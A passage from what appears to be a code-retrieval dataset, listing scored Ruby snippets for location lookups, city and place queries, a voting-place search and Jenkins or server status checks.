minCategory)\n searchCriterion += ct(\"maxResults\", maxResults)\n \n availC = availCriterion(from_date, to_date, roomType , adultCount ) \n \n orderCriterion = ct(\"orderKey\", orderKey)\n orderCriterion += ct(\"orderDirection\", orderDirection)\n \n data = ct(\"searchCriterion\", searchCriterion ) + ct(\"availCriterion\", availC ) + ct(\"orderCriterion\", orderCriterion ) \n request(\"hotelAvail\", data)[:hotel_avail_response][:hotel_avail_response][:hotel_avail_hotel_offers]\n rescue\n {}\n end\n end", "title": "" }, { "docid": "b63e1b4125150b2d954049321db23b35", "score": "0.5158961", "text": "def find_locations\n parent = Location.find_by_id params[:id]\n @locations = parent.nil? ? [] : parent.children.order(:name)\n end", "title": "" }, { "docid": "7c0c839c177d88b67a3e7ba53afef253", "score": "0.5156007", "text": "def get_location\n JSON.parse(get_results('/locations.json'), {symbolize_names: true})\n end", "title": "" }, { "docid": "7c0c839c177d88b67a3e7ba53afef253", "score": "0.5156007", "text": "def get_location\n JSON.parse(get_results('/locations.json'), {symbolize_names: true})\n end", "title": "" }, { "docid": "2f55886e2b584fb0d137cddb18166ac6", "score": "0.5155473", "text": "def test_get_by_name_enumcanyon\n location = @map.get_by_name(\"Enumerable Canyon\")\n assert location.loc == \"Enumerable Canyon\"\n assert location.max_rubies == 1\n assert location.max_fake_rubies == 1\n assert location.neighbor_list.length == 2\n assert location.neighbor_list.include? \"Duck Type Beach\"\n assert location.neighbor_list.include? \"Monkey Patch City\"\n end", "title": "" }, { "docid": "09e6ace30f61af4d02d495b789178e1c", "score": "0.5144871", "text": "def get_active_incidents(location, date_range=nil, query_radius=nil)\n # FIXME see if 2 days is too old\n date_range ||= 2.days.ago...Time.now\n query_radius ||= Geoincident::QUERY_CIRCLE_RADIUS\n\n # get coordinate ranges which include our candidate reports\n lat_range, lng_range = query_ranges(location, query_radius)\n\n Incident.where(updated_at: date_range, latitude: lat_range,\n longitude: lng_range)\n end", "title": "" }, { "docid": "bffc277749d2244a018790d6a77f8bbd", "score": "0.5138591", "text": "def cities()\n sql = \"SELECT * FROM cities WHERE country_id = $1\"\n values = [@id]\n cities = SqlRunner.run(sql, values)\n return cities.map {|city|City.new(city)}\n end", "title": "" }, { "docid": "067bdf453e0df6e723737d918e78cd69", "score": "0.51359713", "text": "def get_Locations\n c_name = @params['C_Name']\n locations = Customer.find(:all,:select => [\"C_Address\",\"C_Id\"],:conditions => {:C_Name => c_name})\n location = []\n city = []\n locations.each do |loc|\n city = loc.C_Address.split(',')\n location << loc.C_Id.to_s() + \":\" + city[1].strip + \":\" + city[2].strip\n end\n render :string => location.to_json, :use_layout_on_ajax => true\n end", "title": "" }, { "docid": "529bb102697201f3e304da9079641897", "score": "0.5134001", "text": "def geo_search\n\n @locations = Question.select(:city_state).where(\"city_state ILIKE ?\", \"%#{params[:term]}%\").group(:city_state)\n respond_to do |format|\n format.json { render json: @locations.map(&:city_state) }\n format.html { redirect_to root_path }\n end\n\n end", "title": "" }, { "docid": "4521d8b2cc11c442e78f9562f60ff687", "score": "0.51312137", "text": "def get_all_locations\n @locations = Location.all\n end", "title": "" }, { "docid": "4521d8b2cc11c442e78f9562f60ff687", "score": "0.51312137", "text": "def get_all_locations\n @locations = Location.all\n end", "title": "" }, { "docid": "780ce10e0bfc6290982095d784192e93", "score": "0.5128989", "text": "def get_all_locations\n @locations = []\n end", "title": "" }, { "docid": "461f4cd516dbdc707254447dd243d79d", "score": "0.512651", "text": "def findLocation\n\t\tlocation = params[:location]\n\t\t@users = Location.where(location_name: country(location))\n\t\t@user_profiles = []\n\t\t@users.each do |user|\n\t\t\t#get user profiles of users who have visited the location\n\t\t\t@user_profiles.push(User.find_by(id: user.user_id))\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => { country: country(location), msg: @users, profiles: @user_profiles }}\n\t\tend\n\tend", "title": "" }, { "docid": "971870943fdcc70677cfab271390090d", "score": "0.51157564", "text": "def location\n sample(locations)\n end", "title": "" }, { "docid": "ed5c607662c78e49a008b8f05297af3d", "score": "0.51141185", "text": "def find_location(name)\n summary_locations.find { |loc| loc.identifier?(name) }\n end", "title": "" }, { "docid": "59d4af4efe31bccd97cc480f9eeed598", "score": "0.5110961", "text": "def locations_data_for(record)\n records = ancestry_for(record).reverse\n\n records.each do |record|\n locations = fetch_locations_for(record)\n return locations unless locations.empty?\n end\n\n []\n end", "title": "" }, { "docid": "ed1c1b45e2598205d5a6d41b533353c2", "score": "0.5099966", "text": "def possible_cities(partial_name)\n return nil unless partial_name\n city_names = @city_trie.children(normalize_name(partial_name))\n return city_names.map { |c| @cities[c] }\n end", "title": "" }, { "docid": "74e0f1b94ab4a66cbc695f21bc195a5a", "score": "0.50931364", "text": "def read_places_by_city_locality_cateogry(city_code, sublocality_name, category_name)\n \n # -------- sanity check if input params are valid ------\n allowed_cat = read_sub_categories_by_city_code(city_code)\n allowed_sub_localities = read_sub_localities_by_city_code(city_code)\n \n if ( allowed_cat and category_name and allowed_cat.size > 0 and not allowed_cat.include?(category_name)) and (allowed_sub_localities and allowed_sub_localities.size > 0 and not allowed_sub_localities.include?(sublocality_name) )\n puts \"[WARNING] Either #{category_name} or #{sublocality_name} is not valid, please check with following values, \"\n util_listing_categories_and_sublocality(city_code)\n puts \"----------------------------------------------------------------\"\n return # no processing any more\n end\n \n # -------- afte all params are correct -------\n unless File.exist?( filename_for_places_by_city_sublocality_category(city_code, sublocality_name, category_name) )\n places = collect_places_by_city_sublocality_category(city_code, sublocality_name, category_name)\n \n if places.size > 0\n # save to file\n dump_places_by_city_locality_cateogry(places, city_code, sublocality_name, category_name)\n else\n # NOTE: no sub locality is allowed, e.g. provincial city like HeBei BaoDing\n #raise \"[DEBUG] no sub locality found, please check the program!\"\n end\n end\n \n collected_places = []\n \n File.open( filename_for_places_by_city_sublocality_category(city_code, sublocality_name, category_name), 'r' ) do |yf|\n collected_places = YAML.load( yf )\n end\n \n puts collected_places if $VERBOSE\n \n collected_places\nend", "title": "" }, { "docid": "65c4af3bb82846180b78b394cd59cce8", "score": "0.5092215", "text": "def locations\n Rails.cache.fetch(\"area_locations_#{id}\") do\n Location.joins('INNER JOIN places ON places.location_id=locations.id')\n .where(places: { id: place_ids, is_location: true }).group('locations.id').to_a\n end\n end", "title": "" }, { "docid": "96386d3ae9c248cb89878049c971b76f", "score": "0.50917745", "text": "def police()\n source = \"https://data.cityofboston.gov/resource/23yb-cufe.json\"\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n police_stations = Array.new\n station = Struct.new(:latitude, :longitude, :address)\n JSON.parse(data).each do |item|\n human_address = JSON.parse(item[\"location\"][\"human_address\"])\n police_stations.push(station.new(item['location']['latitude'], item['location']['longitude'], human_address[\"address\"]))\n end\n return police_stations\n end", "title": "" }, { "docid": "fc3f904d699b9ca9e4955e3abac15649", "score": "0.5089861", "text": "def valid_locations\n locations = caruby2go_client.locations.collect do |loc|\n URI.escape(loc['locationName'].gsub(/\\s+/, ''))\n end\n locations.sort\n end", "title": "" }, { "docid": "e75c24715824548708df6e153b8ec708", "score": "0.50884575", "text": "def loc_cat_id(object)\n category_name = WAREHOUSE.execute(\"SELECT name FROM categories WHERE id = #{object.category_id}\")[0][\"name\"]\n location_name = WAREHOUSE.execute(\"SELECT name FROM locations WHERE id = #{object.location_id}\")[0][\"name\"]\n return location_name, category_name\n end", "title": "" }, { "docid": "c36bf786e22627a1ff12844589f5ccd4", "score": "0.5087262", "text": "def find(keyword)\n keyword = keyword.downcase\n results = cities.find_all do |city_code, city_name|\n city_name.downcase.include?(keyword)\n end\n\n results.collect do |result|\n City.new(*result)\n end\n end", "title": "" }, { "docid": "6d3f601b95da86241e1d6bde001d19a5", "score": "0.5080007", "text": "def where_this_location\n LocationTime.where_match(\"location_id\", @location_id, \"==\")\n end", "title": "" }, { "docid": "e19bedfc348b968e2f2be2269bb29a03", "score": "0.5078083", "text": "def locations()\n auditions = Audition.where(role_id: self.id)\n to_return = auditions.map { |audition|\n return audition.location\n }\n\n return to_return\n end", "title": "" }, { "docid": "1621ce62c9e518267307c773fd9c7e59", "score": "0.507525", "text": "def index\n @locations =\n if location_params_get[:request_codename]\n Location.select_class(location_params_get[:request_codename])\n .select(:code, :full_name)\n .where('full_name ilike ?',\n \"%#{location_params_get[:name]}%\")\n else\n Commune.select(:code, :full_name)\n .where('full_name ilike ?',\n \"%#{location_params_get[:name]}%\")\n end\n rescue ActionController::ParameterMissing\n @locations = Location.all\n end", "title": "" }, { "docid": "9eb77066656e7f49c5c4142673b4b8e5", "score": "0.5074581", "text": "def extract_locationSet\n locationSet_array = {}\n self.find_by_terms('//vra:locationSet/vra:display').each do |location_display|\n insert_solr_field_value(locationSet_array, \"location_display_tesim\", location_display.text)\n end\n\n # Add a field for each location\n self.find_by_terms('//vra:locationSet/vra:location').each do |location|\n location.xpath('vra:name', 'vra' => 'http://www.vraweb.org/vracore4.htm').map { |name|\n insert_solr_field_value(locationSet_array, \"location_name_tesim\", name.text)\n }\n end\n\n return locationSet_array\n end", "title": "" }, { "docid": "82676eb189fde240f020263e18e626cb", "score": "0.50727516", "text": "def get_instructor_by_hometown(instructors, hometown)\n instructors.find do |instructor|\n instructor[:hometown] == hometown\n end\nend", "title": "" }, { "docid": "16da26d616977796dd452ab251b3e982", "score": "0.50704867", "text": "def search(lat, lng, options = {})\n origin = FindIt::Location.new(lat, lng, :DEG)\n\n #\n # FIXME - This method has been hacked to return a list of\n # nearby election day voting places. This needs to be fixed\n # to restore early voting place functionality.\n #\n\n search_options = {}\n options.each do |k, v|\n next if v.nil? || v.empty?\n case k\n when :time\n begin\n search_options[k] = Time.parse(v)\n rescue ArgumentError\n # ignore\n end\n when :max_distance, :max_locations\n search_options[k] = v\n else\n raise \"bad option \\\"#{k}\\\" specified\"\n end\n end\n\n response = {\n :districts => {},\n :places => [],\n :message => {\n :severity => :WARNING,\n :id => \"20141105.01\",\n :content => \"Results are for the past Nov 2014 election. We will post an update for the Dec 2014 run-off election once the voting place information is released by Travis County.\"\n }\n }\n\n precinct = VoteATX::District::Precinct.find(@db, origin)\n if precinct\n response[:districts][:precinct] = precinct.to_h\n else\n response[:message] = {\n :severity => :WARNING,\n :content => \"The location you have selected is outside the Travis County voting area.\",\n }\n end\n\n a = VoteATX::District::CityCouncil.find(@db, origin)\n if a\n response[:districts][:city_council] = a.to_h\n end\n\n response[:districts].keys.each do |district|\n r = response[:districts][district][:region]\n if r.to_s.length > MAX_REGION_ON_SEARCH\n response[:districts][district][:region] = true\n end\n end\n\n places = VoteATX::Place::ElectionDay.search(@db, origin, search_options)\n response[:places] = places.map {|a| a.to_h}\n\n# a = if precinct\n# VoteATX::Place::ElectionDay.find_by_precinct(@db, precinct.id, search_options)\n# else\n# VoteATX::Place::ElectionDay.find_by_location(@db, origin, search_options)\n# end\n# if a\n# response[:places] << a.to_h\n# end\n#\n# a = VoteATX::Place::Early.search(@db, origin, search_options)\n# if a\n# response[:places] += a.map {|b| b.to_h}\n# end\n\n return response\n end", "title": "" }, { "docid": "6e6c4133d94aa3e30ade3eb77854cf63", "score": "0.50612545", "text": "def item_at_bay(location)\n return WAREHOUSE[location]\nend", "title": "" }, { "docid": "b236b6a4bed1521dcbbbe489b6fd4c8e", "score": "0.50571597", "text": "def index\n @places = Place.where(['name LIKE ?', \"%#{params[:search]}%\"])\n @crimes = Location.all\n end", "title": "" }, { "docid": "ef97c18324eb5221f578f0c523fc6cd3", "score": "0.5049005", "text": "def find_political_party(*input)\n selected_1 = @country_array\n min_parties = 0\n\n # if only region is given\n if input.length == 1\n selected_1 = @country_array.select {|x| x[0] == input[0].capitalize}\n # if both region and number of parties are given\n elsif input.length == 2\n selected_1 = @country_array.select {|x| x[0] == input[0].capitalize}\n min_parties = input[1]\n end\n\n country_party = [] # [country_name, number of parties]\n\n selected_1.each do |x|\n flag = 0\n num_parties = 0\n open_link(x[2]).css('tr td div').each do |y|\n # try to locate keyword\n if flag == 0\n flag = 1 if y.text.match(/Political parties and leaders/)\n # the next entries contain political parties\n else\n if y['class'] == 'category_data'\n if y.text.match(/(.*\\s)(\\d+)(\\s)/)\n # special for case like Afghanistan where the total number is given directly\n num_parties = y.text.match(/(.*\\s)(\\d+)(\\s)/)[2].to_i\n break\n end\n # otherwise, each entry stands for a party\n num_parties += 1\n else\n break # break if div class is no longer matched (next category)\n end\n end\n end\n # append to the array only if more than min_parties\n country_party << [x[1], num_parties] if num_parties > min_parties\n end\n return country_party\n end", "title": "" }, { "docid": "54a34071ac465ef0c86f66a6127e348e", "score": "0.50459075", "text": "def get_locations(params = {})\n request_list('locations', params).map do |details|\n Ncdc::Results::Location.new(details)\n end\n end", "title": "" }, { "docid": "bb84fe0db533868ba1b7f400b8cb1146", "score": "0.50375223", "text": "def find_nearby_locations(location)\n row, column = location\n nearby_locations = []\n r = -1\n until r == 2\n c = -1\n until c == 2\n nearby_locations << [row + r, column + c] unless r == 0 && c == 0\n c += 1\n end\n r += 1\n end\n nearby_locations\n end", "title": "" }, { "docid": "f21508a33f71d5c71e830382e6e0463b", "score": "0.5024943", "text": "def city()\n sql = \"SELECT * FROM cities WHERE country_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map{ |city| City.new(city) }\nend", "title": "" } ]
4801010736f1d5f775e107f979a8ea44
Obtains the root of Jenkins server. This function is used to see if Jenkins is running
[ { "docid": "84f8cf28e7fb9665b9783f7387ad278e", "score": "0.66827816", "text": "def get_root\n @logger.debug \"GET #{@jenkins_path}/\"\n request = Net::HTTP::Get.new(\"#{@jenkins_path}/\")\n make_http_request(request)\n end", "title": "" } ]
[ { "docid": "2082b17e071482edd9a258b4f74dced6", "score": "0.6851965", "text": "def jenkins?\n @logger.info \"Jenkins Detected: #{not (ENV['WORKSPACE'].nil?)}\"\n return !ENV['WORKSPACE'].nil?\nend", "title": "" }, { "docid": "edaa9713e0bd332464f9e1e857b86de1", "score": "0.66264784", "text": "def server_root\n return @server_root\n end", "title": "" }, { "docid": "70f1164221f6593d7864e09f614af077", "score": "0.6615745", "text": "def get_jenkins_version\n get_root if @jenkins_version.nil?\n @jenkins_version\n end", "title": "" }, { "docid": "c9d7923f0d5eb079233713703f9576b1", "score": "0.63727814", "text": "def jenkins?\n env = ENV['JENKINS_SERVER_COOKIE']\n env && !env.empty?\nend", "title": "" }, { "docid": "49e27951ceb0de015d4d64dd5eb84e9b", "score": "0.6224344", "text": "def server_home\n FilePath.new(@build_dir, \"homes\", \"server\").ensure_directory\n end", "title": "" }, { "docid": "68ebdbf052c0838b8a46acbf30ac465e", "score": "0.6217049", "text": "def get_hudson_version\n get_root if @hudson_version.nil?\n @hudson_version\n end", "title": "" }, { "docid": "e1ba1171ea1678df18554cd413b53077", "score": "0.6167153", "text": "def root?\n env[\"PATH_INFO\"] == '/'\n end", "title": "" }, { "docid": "ecd38658244b1a91366bbf0abb230aa2", "score": "0.5991887", "text": "def server_running?\n if File.exist? pid_path\n pid = read_pid\n begin\n Process.kill(0, pid)\n rescue Errno::ESRCH\n return false\n end\n else\n false\n end\n end", "title": "" }, { "docid": "ecd38658244b1a91366bbf0abb230aa2", "score": "0.5991887", "text": "def server_running?\n if File.exist? pid_path\n pid = read_pid\n begin\n Process.kill(0, pid)\n rescue Errno::ESRCH\n return false\n end\n else\n false\n end\n end", "title": "" }, { "docid": "f8c5dffcb7263c621b95b6d0077a0b94", "score": "0.59896624", "text": "def server_running?\n http = Net::HTTP.new(\"localhost\", @port)\n req = Net::HTTP::Get.new(\"/index.html\")\n http.request(req).is_a?(Net::HTTPOK)\n rescue Errno::ECONNREFUSED\n false\n end", "title": "" }, { "docid": "8b62f542cfd50ea8a2dab10528cfd6f4", "score": "0.5949586", "text": "def jenkins_running?(opts)\n\tbegin\n\t\tid = jenkins_id(opts)\n\t\trunning = id and id.length > 0 ? run_in_shell( \"docker inspect -f {{.State.Running}} #{id}\", true ) : false\n\t\treturn running\n\trescue => e\n\t\t#puts e\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "d1667cd6348fd60f899aa2e6bd4f4b21", "score": "0.59059787", "text": "def find_root\n pwd = Dir.pwd\n if pwd.end_with? \"rootfs\"\n \"\" # analysing a supportconfig\n elsif pwd =~ %r{/nts_} && File.directory?(\"rootfs\")\n \"rootfs/\" # analysing a supportconfig\n elsif File.exist? \"/var/log/crowbar/install.log\"\n \"/\" # on an actual admin server\n else\n abort \"Couldn't find log files; aborting.\"\n end\nend", "title": "" }, { "docid": "07ba18aee5bc360b50c312a21ea4fba6", "score": "0.58626705", "text": "def discover_current_site_with_root\n site_from_root || discover_current_site_without_root\n end", "title": "" }, { "docid": "c07ffb155ed85941a5c720fdbb1d90ef", "score": "0.58617336", "text": "def root_path\n environment.paths.detect { |path| pathname.to_s[path] }\n end", "title": "" }, { "docid": "a7e1f0a214bc11d27c89e26b8e6c1527", "score": "0.5819471", "text": "def default_server\n server?(:default)\n end", "title": "" }, { "docid": "26122301a98db2693098c439623af922", "score": "0.581881", "text": "def server\n platform.server\n end", "title": "" }, { "docid": "f8367bc4c2edbed1a869692c499e4664", "score": "0.5801439", "text": "def project_root\n if server_environment\n server_environment['project-root'] || ''\n end\n end", "title": "" }, { "docid": "bef91180e886e8650b3cdcb1992234b0", "score": "0.5794095", "text": "def server_root \n @hash[\"ServerRoot\"]\n end", "title": "" }, { "docid": "0296ceb38cbdae5167339abc2af20a1e", "score": "0.5770919", "text": "def running?\n if File.exist?(\"#{@server_root}/httpd.pid\")\n pid = File.read(\"#{@server_root}/httpd.pid\").strip\n begin\n Process.kill(0, pid.to_i)\n return true\n rescue Errno::ESRCH\n return false\n rescue SystemCallError\n return true\n end\n else\n return false\n end\n end", "title": "" }, { "docid": "6d29e5552538955d9ffae1d5e2e5f872", "score": "0.5765919", "text": "def is_machine_running?\n if !pi_machine?\n raise I18n.t('not_web_enabled')\n end\n \n url = URI.parse(root_url)\n \n req = Net::HTTP::Get.new(url.to_s)\n res = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req)\n }\n \n if res.is_a?(Net::HTTPSuccess)\n res.body\n else\n nil\n end \n \n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n puts e.message\n puts e.backtrace.inspect\n end", "title": "" }, { "docid": "bab460aca032285016537fc0c1c244e8", "score": "0.573197", "text": "def server_root \n end", "title": "" }, { "docid": "7ab04a3a101e99840615f3009dd767f6", "score": "0.571623", "text": "def server?\n return (server == true)\n end", "title": "" }, { "docid": "bdf8e7bd3e685d19b82f8c7cf8367c7b", "score": "0.57083875", "text": "def rails_root?\n !@rails_root.blank? && @rails_root.directory?\n end", "title": "" }, { "docid": "e8f047dfb83b2ef87ba4f4344230bc1a", "score": "0.5696248", "text": "def root\n JenkinsApi::Client::Root.new(self)\n end", "title": "" }, { "docid": "f88a899da0139a5ecd8167ddea3f7822", "score": "0.5695196", "text": "def is_root?\n cmd_exec('/usr/bin/id -ru').eql? '0'\n end", "title": "" }, { "docid": "cfb3474474f194873cc8095548e26d56", "score": "0.5694431", "text": "def server_reachable?\n puts \"Checking #{@address}:#{@port}\"\n res = Net::HTTP.start(@address, @port) {|http| http.get('/') }\n return res.code == \"200\"\n end", "title": "" }, { "docid": "f9b0e89bbb475aaa6e8896b6e2b012d0", "score": "0.5656802", "text": "def detect_if_master\n read_only = `/usr/pgsql-9.1/bin/pg_controldata /var/lib/pgsql/9.1/data | grep \"Database cluster state\" | awk '{print $NF}'`\n return true if read_only =~ /production/\n end", "title": "" }, { "docid": "1990d636a7ab91ce9bf7bafd2349e1cf", "score": "0.5646818", "text": "def server_is_available?\n return true\n !@http_client.send_request(:get, \"#{@configuration.protocol}://#{@configuration.host}:#{@configuration.port}\", nil, {:timeout => 5}).nil?\n end", "title": "" }, { "docid": "913cfc8b5bdea7b60cd222f9e006d966", "score": "0.5637213", "text": "def running?\n !(@server.nil? || @server.closed?)\n end", "title": "" }, { "docid": "397c35bb0876df1100e03124e0837119", "score": "0.5633349", "text": "def root?\n Process.uid == 0\n end", "title": "" }, { "docid": "f6f27a08787f849cef33a7713af40083", "score": "0.563107", "text": "def root?\n Process.uid.zero?\n end", "title": "" }, { "docid": "f6f27a08787f849cef33a7713af40083", "score": "0.563107", "text": "def root?\n Process.uid.zero?\n end", "title": "" }, { "docid": "1c057527e2fc1f634e15eb7b1859418d", "score": "0.5627107", "text": "def root?\n !!@root || app_file?\n end", "title": "" }, { "docid": "6751fc37025fab27ee5c47de80846a4b", "score": "0.5626816", "text": "def running?\n @server && !(@server.stopped?)\n end", "title": "" }, { "docid": "ac907c0444d2ebefc6b907685ed8943e", "score": "0.56249803", "text": "def windows_nano?\n return false unless inspec.os[:release].to_i >= 10\n\n inspec.powershell('Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Server\\ServerLevels\" | Select -ExpandProperty \"NanoServer\" ').stdout.chomp == '1'\n end", "title": "" }, { "docid": "905c92dc474ff98ec5f43878d9d68ae5", "score": "0.5588056", "text": "def master?\n return !@slaveof.nil?\n end", "title": "" }, { "docid": "0df8fe20ce93fe1a66422e9c36ec93b7", "score": "0.5588", "text": "def server?\n response = Net::HTTP.get_response(URI.parse('http://localhost:9533/'))\n raise unless response.class == Net::HTTPOK\nrescue\n skip 'Local server not detected'\nend", "title": "" }, { "docid": "f553982988c616401db4d46673357ecd", "score": "0.55868715", "text": "def root?\n self.path == '/'\n end", "title": "" }, { "docid": "95739188fc3adf50181732295850e600", "score": "0.5561791", "text": "def is_running\n !`/etc/init.d/minecraft status`.include?('not')\nend", "title": "" }, { "docid": "044b5d001327cf7357d7917162e608b7", "score": "0.5556489", "text": "def root?\n is_root?(@path)\n end", "title": "" }, { "docid": "e2e32daf45ac76b4bb01280e0a69cb37", "score": "0.5549682", "text": "def launchctl?\n launchctl.present?\n end", "title": "" }, { "docid": "e2e32daf45ac76b4bb01280e0a69cb37", "score": "0.5549682", "text": "def launchctl?\n launchctl.present?\n end", "title": "" }, { "docid": "32937cb17b5af4f0a4559df937349730", "score": "0.55473506", "text": "def is_master?\n client = RestClient.where(:api_key =>@api_key).first\n return false if client.nil?\n client.is_master\n end", "title": "" }, { "docid": "fdbcf6bdee4ebbedeab96bc9dfdf7ccd", "score": "0.55456424", "text": "def status_server\n return -1 unless FileTest.exist?(PID_FILE)\n\n begin\n Process.getpgid(server_pid)\n return 0\n rescue\n return 1\n end\nend", "title": "" }, { "docid": "b95aad7011b1e12f114af93dfc101611", "score": "0.5542121", "text": "def live_server\n live_server? and @@live_server\n end", "title": "" }, { "docid": "1c3f0c3aa332971c2803d4a1ff8865a1", "score": "0.5541204", "text": "def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end", "title": "" }, { "docid": "1c3f0c3aa332971c2803d4a1ff8865a1", "score": "0.5541204", "text": "def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end", "title": "" }, { "docid": "44ebea0f55fa232e9eef1d45c813416e", "score": "0.55353343", "text": "def test_system?\n rack_env?(:test) && pegasus_hostname == \"test.#{site_domain}\"\n end", "title": "" }, { "docid": "69ff0d3a05230559624e722fa2e5dabd", "score": "0.5532754", "text": "def test_server\n TEST_SERVER\n end", "title": "" }, { "docid": "7098ec6d7c0116a3ee5512a6a8053d7b", "score": "0.5528125", "text": "def server?\n return @mode == :server\n end", "title": "" }, { "docid": "67df3b8fd0bb230e4ef499f5a070cf9c", "score": "0.5520007", "text": "def web_root? path\n path.start_with? SLASH\n end", "title": "" }, { "docid": "ee462ba41e95a713109caf3724613859", "score": "0.5503406", "text": "def standalone?\n $mongo_client ||= initialize_scanned_client!\n $standalone ||= $mongo_client.cluster.servers.first.standalone?\nend", "title": "" }, { "docid": "482fdd5f214c14edf2e2dff79badf5e4", "score": "0.54976034", "text": "def is_root?()\n @rootpath == @path\n end", "title": "" }, { "docid": "aa4b6115697eee5b24710ce840aa27dc", "score": "0.5493711", "text": "def ready\n @jenkins_url.nil? == false\n end", "title": "" }, { "docid": "cc7d5499b338aec5051c52551ced05fd", "score": "0.5489668", "text": "def current_server\n drb = Thread.current['DRb']\n server = (drb && drb['server']) ? drb['server'] : @primary_server\n raise DRbServerNotFound unless server\n return server\n end", "title": "" }, { "docid": "4f09d847a0d3ab024e9ca427e6158129", "score": "0.5478348", "text": "def root?\n #%r{\\A/+\\z} =~ @path ? true : false\n @absolute and @path.empty?\n end", "title": "" }, { "docid": "9ee1c3f39039a1b138dde228747ed716", "score": "0.54749465", "text": "def slave?\n self.class.slave?\n end", "title": "" }, { "docid": "ddb79ab5290f81e2258920adbe1357bf", "score": "0.5452567", "text": "def server_connected?\n ! chef_server.nil?\n end", "title": "" }, { "docid": "3fab1756230b0ca9f5449b9840267a67", "score": "0.54461133", "text": "def siteroot\n \"/var/www/gforge-projects\"\n end", "title": "" }, { "docid": "53cbf711410eb137b449949f1f3fb891", "score": "0.54145473", "text": "def server?\n node['splunk']['is_server'] == true\nend", "title": "" }, { "docid": "50029e67377e4fdaa976a696c1804d3b", "score": "0.5410121", "text": "def is_running?\n result = \"\"\n result = `ps -p #{pid} -o cmd=`.gsub(\"\\n\", \"\") unless pid.empty?\n\n running = result.split.first == \"redis-server\" ? true : false\n\n running\n end", "title": "" }, { "docid": "e9a2e538f2f3e979503bd3d958207607", "score": "0.5396797", "text": "def single_mongos?\n ClusterConfig.instance.single_server? && ClusterConfig.instance.mongos?\nend", "title": "" }, { "docid": "e9a2e538f2f3e979503bd3d958207607", "score": "0.5396797", "text": "def single_mongos?\n ClusterConfig.instance.single_server? && ClusterConfig.instance.mongos?\nend", "title": "" }, { "docid": "858bd3ae90fadda7c0dd8a780455074c", "score": "0.53807455", "text": "def root?\n full_name.empty?\n end", "title": "" }, { "docid": "19e9f43f549fd7cebba5f63d608204ca", "score": "0.5378837", "text": "def current_server\n @_current_server\n end", "title": "" }, { "docid": "19e9f43f549fd7cebba5f63d608204ca", "score": "0.5378837", "text": "def current_server\n @_current_server\n end", "title": "" }, { "docid": "0a75632ece8432328c3cf193cad20da2", "score": "0.5364392", "text": "def srv_running\n return unless RUBY_PLATFORM =~ /linux/\n cmdobj = Mixlib::ShellOut.new(\"ps -ef | grep #{@new_resource.name} | grep java\")\n cmdobj.run_command.stdout.split(\"\\n\").reject { |e| e.include? \"sh -c\" }.size >= 1 # true or false\nend", "title": "" }, { "docid": "047cecdc37dad77154f3b32f1799683a", "score": "0.5360028", "text": "def passenger_rack_app?\n workdir.directory? &&\n workdir.join(\"config.ru\").file? &&\n workdir.join(\"tmp\").directory? &&\n workdir.join(\"public\").directory?\n end", "title": "" }, { "docid": "6b565ba769a60159e1ade7109abca68b", "score": "0.5346089", "text": "def server_empty\n `/etc/init.d/minecraft list`.match(/\\s0\\/\\d+/)\nend", "title": "" }, { "docid": "f556e5d452cfa5047b5d489da02fb2c8", "score": "0.53364897", "text": "def is_root?() @name === '__root__'; end", "title": "" }, { "docid": "18690b9aeb7ed7d073dda8a20684407c", "score": "0.5331389", "text": "def check_web_server_running\n string = \"Testing Web Server...\"\n url = Constants::WEB_SERVER_URL\n\n # check if http:// was in the url if not add it in there\n url.insert(0, \"http://\") unless(url.match(/^http\\:\\/\\//))\n\n # Get the HTTP_RESPONSE from the site we are checking\n begin\n res = Net::HTTP.get_response(URI.parse(url.to_s))\n running = false\n # Check the response code\n if !res.code =~ /2|3\\d{2}/\n string << \" \" + red(\"Not Running!\")\n else\n running = true\n string << \" \" + green(\"Running\")\n end #if\n log_print string\n rescue\n @log.error {\"#{@options[:web_server]} web server unresponsive!\"}\n end\n\n running\n end", "title": "" }, { "docid": "443cd1a48301cfa1aa3152907a8d39e2", "score": "0.53299886", "text": "def server_host\n Socket.gethostname\n end", "title": "" }, { "docid": "1db512656d0b133f72b8ff40db2ef374", "score": "0.53289735", "text": "def server_probably_launched?\n success? || server_error?\n end", "title": "" }, { "docid": "2af6116283e27016b504e86cef6c21e9", "score": "0.5328824", "text": "def exists_on_server?\n false\n end", "title": "" }, { "docid": "9be5a24c6cdc3407e68efefbe1c35ea5", "score": "0.5328794", "text": "def lookup_root\n pwd = File.expand_path(Dir.pwd)\n home = File.expand_path('~')\n while pwd != '/' && pwd != home\n return pwd if ROOT_INDICATORS.any?{ |r| File.exist?(File.join(pwd, r)) }\n pwd = File.dirname(pwd)\n end\n return nil\n end", "title": "" }, { "docid": "cca9e0d1040d8caaffa739b7bfdae56c", "score": "0.5326259", "text": "def started?\n server_exist = false\n begin\n @soc = UDPSocket.open\n @soc.bind(\"\", DiscoverableServer::DEFAULT_PORT)\n @soc.close\n rescue Errno::EADDRINUSE\n server_exist = true\n end\n\n server_exist\n end", "title": "" }, { "docid": "df040f5f86b927e18bc93d004146252b", "score": "0.5321143", "text": "def root?; path == '' end", "title": "" }, { "docid": "ab9111fc25e9c992d224f10c3a17cd6e", "score": "0.5320684", "text": "def root?\n true\n end", "title": "" }, { "docid": "ab9111fc25e9c992d224f10c3a17cd6e", "score": "0.5320684", "text": "def root?\n true\n end", "title": "" }, { "docid": "e2aaeaff838613464030c39ef9743b2e", "score": "0.5320624", "text": "def standalone?\n Merb.root == ::MerbAdmin.root\n end", "title": "" }, { "docid": "7dcb87b9db5271b1cecba2745bc90e92", "score": "0.53137493", "text": "def is_root?\n @path == '/' || @path == ''\n end", "title": "" }, { "docid": "e85220873344b1aa3dd9255818736b85", "score": "0.5313486", "text": "def forking?\n app_server_integration.forking? || (background_job_integration && background_job_integration.forking?)\n end", "title": "" }, { "docid": "fd76cdd4c7a9a8cb739dded19262fbf9", "score": "0.5310845", "text": "def 